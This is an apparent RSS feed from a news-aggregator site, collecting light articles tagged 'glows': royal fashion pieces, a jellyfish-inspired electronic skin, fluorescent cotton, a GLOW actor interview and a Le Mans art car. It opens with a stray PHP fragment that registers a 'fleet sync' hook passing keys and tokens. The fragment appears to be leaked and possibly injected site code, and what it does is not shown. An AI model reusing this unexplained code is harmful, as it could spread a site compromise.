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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Glows – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 10 Jul 2018 10:09:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Glows – Brief News https://briefnews.eu 32 32 Duchess of Cambridge glows in baby blue for RAF centenary service at Westminster Abbey https://briefnews.eu/duchess-of-cambridge-glows-in-baby-blue-for-raf-centenary-service-at-westminster-abbey/ https://briefnews.eu/duchess-of-cambridge-glows-in-baby-blue-for-raf-centenary-service-at-westminster-abbey/#respond Tue, 10 Jul 2018 10:09:48 +0000 http://briefnews.eu/duchess-of-cambridge-glows-in-baby-blue-for-raf-centenary-service-at-westminster-abbey/

Kate Middleton, Duchess of Cambridge, 36, impressed in the sartorial stakes today as she attended a service at Westminster Abbey.

The service was to celebrate the centenary of the Royal Air Force, founded in 1918.

To mark the occasion, Kate put her best fashion foot forward, wearing a gorgeous pale blue dress coat.

With cooler weather today than in recent weeks, the coat matched the occasion and day perfectly.

She complemented the summery coat with an elegant matching blue hat, featuring cream flowers and netting detail.

The stunning, structured coat came to just below Kate’s knees, showing a hint of the same colour skirt beneath it.

The gorgeous coat was delicately buttoned down the middle, with panel detailing around the waist and bust.

Attending the service at Westminster Abbey, the 36-year-old respectfully covered up with long sleeves.

The baby blue ensemble also featured a large open collar, adding a modern touch to the traditional coat.

On her right lapel the Duchess wore a striking, oversized brooch.

The opulent silver and gold brooch had the word “RAF” engraved on it, commemorating the special occasion and the work of the Royal Air Force.

Continuing the theme for opulent accessories, the Duchess donned a pair of huge silver, sparkly drop down earrings.

Kate elongated her endless legs with a simple pair of nude pointed-toe stiletto heels.

Her glossy brown locks were worn in a neat bun beneath the stylish icy blue hat, with not a strand out of place.

Keeping her makeup simple, she wore a nude smokey eye with just a hint of blusher and a pink lipstick.

She also carried a small silverly blue clutch bag into the service with her.

Kate’s blue dress coat was reminiscent of the outfits worn by her mother Carole and sister Pippa Middleton at yesterday’s christening.

For Prince Louis’ special day, Carole and Pippa both wore baby blue dresses, a nod to the sex of the baby.

Carole wore a £1,250 silk crepe 1940s ‘Influence’ dress in powder blue from Suzannah, while Pippa opted for a custom-made Alessandra Rich creation.

Kate on the other hand didn’t wear blue, instead continuing in her christening tradition of wearing cream with a stunning Sarah Burton for Alexander McQueen dress.

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]]> https://briefnews.eu/duchess-of-cambridge-glows-in-baby-blue-for-raf-centenary-service-at-westminster-abbey/feed/ 0 Queen Letizia glows in 50 shades of blue to meet Ukrainian President in Madrid https://briefnews.eu/queen-letizia-glows-in-50-shades-of-blue-to-meet-ukrainian-president-in-madrid/ https://briefnews.eu/queen-letizia-glows-in-50-shades-of-blue-to-meet-ukrainian-president-in-madrid/#respond Mon, 04 Jun 2018 20:07:56 +0000 http://briefnews.eu/queen-letizia-glows-in-50-shades-of-blue-to-meet-ukrainian-president-in-madrid/

Queen Letizia of Spain, 45, is regarded as one of the most beautiful and stylish royals around.

Stepping out today she  the president of Ukraine Petro Poroshenko, 52, and his wife, Maryna Poroshenko, stunning in a blue t-shirt, midi skirt ensemble. 

Along with her husband King Felipe VI, 50, Letizia welcomed the Ukrainian first couple to the Palacio de la Zarzuela, their official residence in the outskirts of Madrid.

After a busy couple of weeks including trips to Geneva and the Caribbean, Letizia looked glowing and relaxed, wearing a tight, navy blue figure-hugging jersey T-shirt and floral skirt.

Cinched in a the waist by a chunky navy blue belt with silver buckle, the whimsical A-line midi skirt was covered in strong blue, purple, yellow and pink floral patterns.

Off-set by a more subdued white and grey base, the skirt was pleated from the waist, accentuatingsvelte figure. 

The summery midi skirt is by Spanish fashion house Adolfo Dominguez, still in stock for just £150.

The Spanish fashion designer’s work is a favourite with Letizia, having worn his creations many times before.

Matching her many shades of blue, Letizia elongated her toned legs with a simple pair of navy blue pointed stiletto heels.

Opting for a summery makeup look, the mother-of-two wore her signature smoky eye in shades of subtle shades of purple and pink, with a nude-brown lip.

Enhancing the look, the former journalist wore a pair of stunning blue drop down earrings, no doubt worth a pretty penny.

Wearing her enviably glossy locks loosely down in a wavy blow dry, she tucked strands behind her ears to expose the show-stopping blue earrings.

The Spanish royals were welcoming the Ukranian president and his wife to the palace as part of their state visit to Spain.

The Ukranian First Lady opted for a look contrasting to that of Letitia’s more laid-back, summery approach, wearing a bold, 80’s style black fitted midi dress.

Featuring statement shoulder pads Maryna accessorised the elegant look with a stop necklace and heeled court shoes.

Showing off her effortlessly chic sense of style, Queen Letizia was spotted last week in San Millan de la Cogolla wearing an all black look with pinky, red coat. 

The brunette royal attended the inauguration of the 13th International Seminar of Language and Journalism at the Monastery of Yuso in San Millan de la Cogolla, Spain.

Adding some rock-chick glamour to the occasion, the Queen wore skin-tight black leather trousers that clung to her toned limbs.

She complemented the look with sky-high black stilettos and large envelope clutch bag, with smudged black eyeliner completing the edgy look.

Softening the look, the pretty coat was made of a brocade material and had a small geometric print.

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]]> https://briefnews.eu/queen-letizia-glows-in-50-shades-of-blue-to-meet-ukrainian-president-in-madrid/feed/ 0 Jellyfish-inspired e-skin glows when it’s in ‘pain’ https://briefnews.eu/jellyfish-inspired-e-skin-glows-when-its-in-pain/ https://briefnews.eu/jellyfish-inspired-e-skin-glows-when-its-in-pain/#respond Thu, 02 Nov 2017 03:40:23 +0000 http://briefnews.eu/jellyfish-inspired-e-skin-glows-when-its-in-pain/

Artificial skin stands to have a variety uses, with potential applications in everything from robots to prosthetics. And in recent years, researchers have been able to instill sensory perception, like touch and pressure, into artificial skin. However, while those sorts of senses will be incredibly important in engineered skin, they’ve so far been rather limited. For example, while current versions can be quite sensitive to light touch, they don’t fare so well with high pressures that could cause damage. So researchers at the Huazhong University of Science and Technology in China set out to fix that problem and they drew their inspiration from jellyfish.

The Atolla jellyfish can sense pressure in its surroundings and emits bright flashes of light when attacked. To mimic that and combine visual signals with pressure sensing, the researchers placed small silver wires within a stretchy material, which was able to produce electrical signals when light pressure was applied to it. In between two layers of that material, the researchers added an additional layer, which was embedded with phosphors — particles that can luminesce — that lit up when strong pressure was applied. As increasing amounts of pressure were applied to the layered electronic skin, the phosphors lit up more and more and overall the skin was able to register a much wider range of pressure than other versions have been able to achieve. In the image below, you can see the phosphors light up when a transparent “W”-shaped slab is pressed into the activated electronic skin.

The high pressures registered by the phosphors are around the levels that become painful to humans, meaning the luminescent material can play the role of pain sensors found in real human skin and create a visual representation of “pain.” Further, the full range of pressure that this skin can sense more closely matches what real human skin can feel. And as the researchers point out, this capability makes this particular electronic skin a promising potential component to human-machine interfaces and intelligent robots. The work was recently published in ACS Applied Materials and Interfaces.

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]]> https://briefnews.eu/jellyfish-inspired-e-skin-glows-when-its-in-pain/feed/ 0 Scientists created cotton that naturally glows in the dark without using genetic engineering https://briefnews.eu/scientists-created-cotton-that-naturally-glows-in-the-dark-without-using-genetic-engineering/ https://briefnews.eu/scientists-created-cotton-that-naturally-glows-in-the-dark-without-using-genetic-engineering/#respond Sat, 23 Sep 2017 20:54:30 +0000 http://briefnews.eu/scientists-created-cotton-that-naturally-glows-in-the-dark-without-using-genetic-engineering/ glowing cottonFilipe Natalio, et. al.

Today’s new “smart” materials range in purpose — a new polymer resin self-heals holes in space habitats, and carbon nanotube yarn can generate electricity — but they all depend on superficial coatings that turn old substances into novel tools. That’s a problem because the more they are used, the less functional they’ll become because of natural wear and tear.

Researchers are hopeful that they can solve that issue by building functionality directly into the fundamental building blocks of those materials, and it looks like they’re well on their way. In a paper published Thursday in Science, a team of researchers report that they made natural glow-in-the-dark cotton by growing it in a way that the plant incorporates fluorescent molecules into its very fibers.

“Fluorescence and magnetic properties were our proof-of-principle — the applications are now open,” lead author Filipe Natalio, Ph.D., tells Inverse. “Current approaches for smart textiles use coatings. In our approach, the functional molecule will be weaved together with other building blocks, like glucose, into functional threads.”

Natalio and his team managed to do this by synthesizing compounds called glucose derivatives, which acted as a molecular “glue” to connect the fluorescent molecules to the outermost cell layer of the cotton fibers. In the same experiment, they used these “vascular connections” to attach molecules that conferred magnetism to the cellulose fibers they were attached to.

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Natalio, a scientist at the Weizmann Institute of Science, used to work on targeted drug delivery and biometrics before he became interested in producing smart materials. He’s excited about potential applications, like turning natural materials into a means to store data — especially a raw material like cotton, which he says he chose for this experiment because of its “economic importance and long relationship with humans.” If scientists can produce fibers with tailored properties, Natalio reasons, then they can change society’s “long-standing view of natural fibers.”

In the future, he envisions an array of self-sustaining hydroponic greenhouses, where scientists can simply add the functional molecule of choice into their plant’s water container and watch their smart plants grow.

“After some time, you can collect your fibers — be they blue, red, fluorescent, or magnetic,” he says.

What Natalio thinks will comprise the “new era of material farming” is the concept of chemically manipulating a biological system — whether it’s cotton, flax, or bamboo — and reaping the end product for its tailored properties. He’s careful to point out, however, that this isn’t genetic engineering, unlike, say, those bunnies that were bred to glow in the dark.

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]]> https://briefnews.eu/scientists-created-cotton-that-naturally-glows-in-the-dark-without-using-genetic-engineering/feed/ 0 ‘GLOW’s’ Britney Young on the Paradoxes of Pro Wrestling and the Constrictions of Hollywood Tropes https://briefnews.eu/glows-britney-young-on-the-paradoxes-of-pro-wrestling-and-the-constrictions-of-hollywood-tropes/ https://briefnews.eu/glows-britney-young-on-the-paradoxes-of-pro-wrestling-and-the-constrictions-of-hollywood-tropes/#respond Fri, 21 Jul 2017 21:00:11 +0000 http://briefnews.eu/glows-britney-young-on-the-paradoxes-of-pro-wrestling-and-the-constrictions-of-hollywood-tropes/ GLOW‘s first season was an unremittingly fun piece of period meta-television that somehow didn’t feel forced. It had a keen understanding of how pro wrestling is not only a performance, but also one with narratives that reflect society’s generalizations about body type, ethnicity, and gender at any given period. And it showed its central characters beginning to learn about themselves through performing highly campy secret parodies of what society wants to see. Because of its fundamental knowledge of the processes of reduction through which Hollywood imagines people, those elements resonate organically without, ultimately (particularly after its more on-the-nose first episodes), hitting you over the head with a constant thesis.

What unfolds is a show about a group of women who’re all, for their own reasons, somewhat lost in the perception pit of L.A. in the ’80s, and who’re all given a totally bizarre opportunity to bond, and perhaps most fittingly, to pretend to body-crush each other – while actually engaging in a complex choreography of collaboration and hyper-awareness of one another’s well-being.

Britney Young, a Tokyo-born, Alaska-raised, 29-year-old actor (by way of a USC degree in Cinematic Arts, then production secretarial work, then roles on the likes of Those Who Can’t, Better Things, and Crazy Ex-Girlfriend) plays Carmen Wade, whose character has a pretty singular relationship to wrestling: all of the men in her family are relatively famous wrestlers (and, incidentally, her two brothers in the film are played by real-life pro-wrestling stars). And since she was a kid, the presumption was that this would never be (because they’d refuse to let it be, on the grounds of nothing but typical gendered assumption) her fate.

When she becomes a part of the syndicated Gorgeous Ladies of Wrestling series, directed by the soulfully sleazy Sam Sylvia (Marc Maron), she’s assigned the role of Machu Picchu, the Peruvian “gentle giant” — a reification of a sizeist trope and a (false) ethnic assumption. (Carmen herself is not Peruvian; nor is “Fortune Cookie” Chinese, and “Beirut the Mad Bomber” is actually Indian American.) But even within those constraints, away from her family, she can still work towards her own self-invention: given the weight of the wrestling dynasty she comes from, the actual idea of escaping familial expectations and carving out a niche for herself is all the more challenging.

I spoke to Britney Young about her experiences playing Carmen, playing the ’80s, playing around with the show’s incisive commentary on how type is reified in Hollywood, and playing aggression while actually enacting meticulous care and awareness.

Flavorwire: You and Carmen seem to have had similar introductions to wrestling: Carmen’s a novice in a family of wrestlers, and the actual actors playing your brother characters are professional wrestlers Brodus Clay and Carlito. Did the fact that you were paralleling Carmen’s experience of being a novice within a wrestling dynasty make it easier for you to understand her?

Britney Young: By the time Carlito and Brodus Clay had come onto set, that was the second month of shooting, and we had already been training the whole time. But what I really appreciated from them specifically was that they taught me a lot of wrestling etiquette, not necessarily actual wrestling moves – specifically in Episode 4, when [her father] Goliath Jackman is talking to Carmen through the ropes. They were telling me, “if she were a real wrestler, she would bend down to get on his level to show respect, and talk to him at face level instead of going over him,” little things like that. We didn’t end up doing it, but knowing those things and understanding that dynamic helped me in that scene; we know Carmen is standing up to her father by not coming down to his level, and saying, ‘This is what I want to do.’ Even though she’s not at that point yet, she’s already saying, physically, ‘This is where I need to be, you have to respect that.’ So having them there showing me these little tidbits was really great. In addition to them, Chavo Guerrero, Jr. was our wrestling coordinator; he comes from a wrestling dynasty just like Carmen does. And he and I had a lot of conversations about how he knew he wanted to be a wrestler from the very beginning, and his journey to carve out his own Chavo legacy within the Guerrero family.

I know that a lot of acting training is paired with physical training (particularly in theater, from Tai Chi to more formal theatrical trainings like Suzuki and Viewpoints) to help actors achieve specificity and grounding and awareness in their bodies. Did wrestling training itself have a similar way of actually helping you more broadly in your acting technique?

All of us girls say, ‘I’m a wrestler now.’ And that’s kind of our mantra. You get into that mentality, and the physicality where you need to go out there and hit this performance but still be so aware of so many things, like communication, respecting your partner. There are so many things that go into wrestling that are overlooked, because it’s seen as this aggressive sport. But that really informed me a lot, especially in having to communicate and understand where all these actors are coming from and why they’re making these choices, and having to play off of those choices to make this scene make sense — it really helped a lot. It was informative more even in terms of mentality than physicality.

Was there a character in the original Gorgeous Ladies of Wrestlingwho you were emulating, or a few of characters? Or did you come at Carmen without those references?

Our show is inspired by the original — we’re not exact replicas and we don’t even use the word “based on” because the characters aren’t the same exact women. But we watched a lot of the clips and we specifically watched the documentary that inspired our showrunners Liz Flahive and Carly Mensch to write this show. And there was one character in it who I was immediately drawn to. Her name is Emily Dole; she played Mount Fiji. But it was more that I was drawn to her because she was a plus-size woman, she was this bigger standout on the show, and she was the sweetest, kindest person. And I really drew on that a lot for Carmen. You can be in this aggressive sport and go out there and wrestle around with people, but you can be a genuinely sweet person. But again she is a separate character. I wanted very much to be truthful to the material and the situation that our writers were putting her in, and how she would react to that — and not so much what Mount Fiji would do.

One of the intriguing things about this show is the paradox of the characters existing totally outside of the stereotypes they’re given by Hollywood, but because the job necessitates that they embody them, they seem to find their own sense of liberation through playing around with stereotypes, making the joke about the existence of the stereotype itself. Did that complexity read on the page when you first saw the script?

To be honest, we would read things sometimes, and all of us girls would freak out a little bit. ‘Oh my God, I can’t believe we’re going there.’ But we has an actual professional wrestler, Kia Stevens, in our cast, and she’s fantastic, and we would ask her, ‘Kia, did you ever experience this, or is this truthful in any way?’ And she would just go on and tell all of these stories, and it would start this conversation with all of us girls specifically about how this stuff wasn’t okay, and how do we go forward? And that’s one of the things I love about this show: we bring up these stereotypes, and these women do play into them, but we don’t just leave it there. We try to bring these stereotypes down and get to the root of where you think they’re coming from, and specifically why they’re not okay. All of our characters say ‘do not define me; let me show you exactly who I am.’ We don’t just leave it, or walk away like, ‘ha ha, Beirut the Bomber’ — she really breaks it down and tries to find the emotion and the fear and the root of where this came from. I really appreciate that about the show.

The show is irreverent and fun without being too nostalgic about the ’80s. How aware were you as a performer of acting “period,” of even playing around with cultural projections of type within a period that isn’t your own? 

One thing I like to say about our show is we’re not trying to pay homage to the ’80s. We’re trying to be the ’80s, with everything we do — from the simple things like the hair, makeup, and styling choices, to the gritty gray filter that our DP Christian Sprenger used to make it look like an ’80s film. I really appreciate all of that. I was in the ’80s for a solid year-and-a-half, so I’m not conscious to everything that was happening. But I grew up on ’80s film, and to think about what these characters had to go through for it to be normal for them — that’s how we approached it. It’s not normal for us, but for Carmen, for Ruth, for Debbie, for Sheila, it is.

It’s not your scene, but I think the opening — where Alison Brie’s Ruth is auditioning — is the best introduction to how the show tackles the way type is made by Hollywood, and the reductionism of auditions and casting calls. With auditioning for you, as someone who hasn’t been acting professionally for that long (four years), has it changed with the more professional experience you’ve gotten, and since you were cast on GLOW? When does one get the mobility to be seen on a more personal than symbolic level in Hollywood? 

It’s starting — when I began, it was frustrating, because I was maybe getting one or two auditions a month. Whereas my friends were getting one or two a week at their slowest points. And for most of those characters, their descriptions weren’t even about personality. They were like, ‘Plus Sized, Big Stature, Tall, Big Girl.’ It was always so much about trying to fit this physical type. Which is funny, because in this business a lot of people are like, ‘You have to be gorgeous, you have to be blonde, you have to be blue-eyed.’ But you don’t realize a lot of people get work based on physical constraints in a negative way. I’m grateful for the roles I booked because all of the projects I’ve worked on have been fantastic and everyone’s treated me so well, but now I’m starting to notice I’m getting a lot more auditions where the physicality aspect is becoming a bit looser — open size, open weight. Now it’s more like, ‘we’re looking for outgoing, we’re looking for bubbly.’ It’s now becoming a character description, and I’m so grateful for that. I read something Maya Rudolph said recently that pertains a lot: she said she never set out to be a ‘funny female comedian.’ She just set out to be funny, and she’s female by no choice of her own. And I didn’t set out to be a funny plus-size actress. I just set out to be funny. To be an actress. To put that disclaimer in front of it — let’s get rid of that. Let’s start seeing people for the talented performers they are who can transform into these roles, instead of ‘she can only do plus-size things.’

Carmen had a pretty fully developed arc in this season. Now that she seems to overcome the weight of her legacy — she had her panic attacks, but through her family’s ultimate show of support and through her own sense of self worth has conquered this thing. What’s your ideal for where Carmen will go next? 

I agree that she had a great arc, but I don’t think that arc is finished. She has a lot of growth to do; she still needs to find confidence where she can get it on her own, and not get it from her family. I want to see that continue. But she’s still innocent and naive in this way of life, especially the Hollywood life. I want to see how she reacts to certain things — like sex, and drugs, and parties. Really coming into this era when those things are extremely prevalent in the job she’s chosen. I want to see how she deals with the Hollywood side of everything.

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As the 24 Hours of Le Mans approaches, race teams rolled out their vehicles for official testing this past weekend. In the LMGTE Am class, Aston Martin Racing took the top spot with its Vantage, but the second-place finisher was stealing some of the Aston’s shine for a different reason. Larbre Competition, which finished 0.052 second behind the top slot, introduced its Chevrolet Corvette C7.R art car, a gl0w-in-the-dark masterpiece that sticks out on the track like an onion ring in an order of fries.

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The speedy graffiti was created by street artist Ramzi Adek, a Frenchman known most recently for his renditions of famous cartoons such as Mickey Mouse and The Simpsons. Although Le Mans will be one of the biggest stages for his art, and the colorful Corvette one of his most unusual pieces, Adek is familiar with the automobile as canvas. He’s taken brush to metal on a Mercedes-Benz SLS, a Ferrari, and some Vespas all since the start of the year. But they don’t look like this.

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The No. 50 car’s pop-art livery is titled “Human,” a word that is literally striped in huge letters across the hood and nose of the vehicle. As part of an overall superhero theme, it’s joined by a few other words often seen in comics: “BOOM! CRASH! WAM!”

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“The main idea of the project was to create a flow of power and strength, which will carry the drivers through the Le Mans week,” Adek said. “I wanted to give the livery an aggressive identity to make an impact and show that Larbre Competition was not coming to La Sarthe to make up the numbers.”

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The childish quality, which is multiplied by the DayGlo paint, was seeded in Adek’s love of toy cars as a kid.

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“Romain Brandela, who knew about my work through a mutual friend, contracted me to produce a spectacular livery for the Corvette C7.R that he was going to race at the 2017 Le Mans 24 Hours,” Adek said. “I liked the idea as it reminded me of images and memories from when I was a kid, when we would go to the toy shop and run to check out the latest toy cars with their incredible designs. With ‘Human,’ I wanted to design a livery that kids and their parents dream of.”

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Brandela is one of three drivers who will pilot the Corvette June 17 and 18, along with Fernando Rees and Christian Philippon. Though he won’t actually get behind the wheel, Adek sees himself as the fourth driver on the squad by creating a display he hopes will motivate the others during the race. After all, the Aston is just gray.

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